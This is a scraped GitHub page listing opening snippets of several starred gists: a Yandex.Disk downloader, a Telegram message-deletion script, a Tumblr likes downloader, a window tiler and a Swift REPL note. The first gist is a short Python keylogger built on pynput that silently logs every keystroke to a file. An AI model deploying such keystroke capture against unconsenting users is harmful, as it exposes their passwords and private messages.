Skip to content

Instantly share code, notes, and snippets.

View dmgl's full-sized avatar
🎯
Focusing

Galochkin D.D. dmgl

🎯
Focusing
  • Russia, Saint-Petersburg
View GitHub Profile
@brentvollebregt
brentvollebregt / keylogger.pyw
Created April 11, 2017 02:48
A Python 3 keylogger using the pynput module
# From: https://github.com/moses-palmer/pynput
from pynput.keyboard import Key, Listener
import logging
log_dir = ""
logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='["%(asctime)s", %(message)s]')
def on_press(key):
logging.info('"{0}"'.format(key))
@Kylmakalle
Kylmakalle / main.py
Created August 6, 2017 19:10 — forked from gurland/main.py
How to delete all your messages from chat in telegram? Easy, just use this program
from telethon import TelegramClient
from telethon.errors import SessionPasswordNeededError
from telethon.tl.functions.messages import GetHistoryRequest
from telethon.tl.functions.channels import DeleteMessagesRequest
from telethon.tl.types.channel import Channel
import shelve
from os import listdir
from time import sleep
# Просто утилиты
@Yegorov
Yegorov / ya.py
Created January 13, 2018 16:08
Download file from Yandex.Disk through share link
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# https://toster.ru/q/72866
# How to
# wget http://gist.github.com/...
# chmod +x ya.py
# ./ya.py download_url path/to/directory
import os, sys, json
@lf-araujo
lf-araujo / 2017-04-6-swift.md
Last active May 27, 2019 13:12
Swift REPL with Sublime Text in Linux

Swift REPL with Sublime Text in Linux

Swift REPL works fine in Sublime Text. It is a simple three step process. First install the language either by downloading the latest version of it at swift.org and extracting it to /usr, or if you are in Arch by issuing yaourt -S swift-bin.

The second step is to add an option to Swift in Sublime Text REPL. Please note that you have to install Sulime Text REPL first. Launch the Command Palette and browse the packages. Find the SublimeREPL directory and create a config/Swift directory.

Inside this directory, create the file Default.sublime-commands with the following content:

@wolkenarchitekt
wolkenarchitekt / window_tiler.py
Last active August 10, 2024 21:14
Move window on Linux systems using Python, xdotool and wmctrl
#!/usr/bin/python3.7
#
# Move and resize window into screen corners.
# works with multiple, horizontally aligned displays.
#
# Requirements:
# * Python3.7 (for dataclass)
# * wmctrl
# * xdotool
# pip: screeninfo, click
@spoonyfork
spoonyfork / tumblr-likes-downloader.py
Last active June 22, 2020 08:27 — forked from jeffaudi/tumblr-likes-downloader.py
Instructions in the comments. This python script downloads all the photos liked of your tumblr account. This is usually more useful than downloading the photos from a specfic blog. Updated to also download videos and store content is folders. Please, note that currently the Tumblr API only returns the first 1000 likes (https://groups.google.com/…
import pytumblr
import os
import code
import oauth2 as oauth
from pprint import pprint
import json
import urllib.request
import codecs
import sys
@wildcard
wildcard / ya.py
Last active May 13, 2025 09:44 — forked from Yegorov/ya.py
Download file from Yandex.Disk through share link for large file + reconnect option on MacOS with caffeinate to prevent computer from sleep
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# https://toster.ru/q/72866
# How to
# wget http://gist.github.com/...
# chmod +x ya.py
# ./ya.py download_url path/to/directory
import os, sys, json